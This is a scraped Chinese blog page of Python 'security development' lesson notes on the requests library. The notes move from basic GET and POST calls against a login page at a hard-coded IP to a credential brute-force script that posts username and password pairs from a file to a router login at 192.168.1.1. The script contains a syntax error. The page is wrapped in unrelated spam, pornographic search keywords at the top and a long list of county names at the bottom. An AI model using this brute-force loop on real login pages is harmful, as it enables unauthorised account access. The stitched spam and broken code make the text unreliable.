最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

python3安全開發(fā) 20230623

2023-06-23 21:33 作者:__Rebel__  | 我要投稿

講義內(nèi)容:(記得看簡(jiǎn)介[脫單doge])


python3 requests http客戶端

http://175.24.116.98:2222/login.php


?python3 -m pip install requests


import requests


response=requests.get("http://175.24.116.98:2222/login.php")

print(response.status_code)


response.url

response.text

response.status_code


嘗試登陸發(fā)送登錄請(qǐng)求包


1:如何發(fā)送POST數(shù)據(jù)?

response=requests.post("http://175.24.116.98:2222/login.php")

response=requests.request(method="POST",url="http://175.24.116.98:2222/login.php")

response=requests.post("http://175.24.116.98:2222/login.php",data="username=admin&password=666666&Login=Login&user_token=7cb1b8b72e8b5b549d9749a176734cee")


line.strip()的作用:用于處理line中的無效字符(\n?\r) =>?line.replace("\n","")



import requests


headers={

???"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0",

???"Cookie": "security=impossible; PHPSESSID=6l8bpi0sui3hc2rmqnq02l24sr"

???}


_file=open("userPasswd.txt")

userPasswd=[ line.strip() for line in _file.readlines()]

print(userPasswd)


userPasswd= [ i.split(":") for i in userPasswd ]

print(userPasswd)

for user, passwd in userPasswd:

???response=requests.post("http://192.168.1.1",

???????????data=f"frashnum=&action=login&Frm_Logintoken=14&Username={user}&Password={passwd}",

???????????headers=headers)

???print(f"[*] {response}?{user} {passwd}"

???if response.status_code==200:print("login failed")

???if response.status_code==302:print("login success!")


headers是鍵值的形式

requests的方法中headers參數(shù)就可以指定字典


Accept-Encoding:gzip, deflate

鍵:值

{"Accept-Encoding":"gzip, deflate"}




cookie和token可以放一起講的

作用都是作為臨時(shí)登錄令牌

python3安全開發(fā) 20230623的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
桐柏县| 读书| 五大连池市| 抚顺市| 高唐县| 高要市| 南丹县| 资中县| 阿巴嘎旗| 辛集市| 大城县| 涞源县| 卢龙县| 乌恰县| 威宁| 双流县| 寿光市| 莲花县| 永吉县| 克拉玛依市| 乃东县| 上饶县| 锡林郭勒盟| 广河县| 佛山市| 太仆寺旗| 新源县| 衡水市| 望江县| 民丰县| 龙南县| 阜新| 河南省| 舟曲县| 太保市| 武宁县| 安西县| 克山县| 安仁县| 社会| 鲁山县|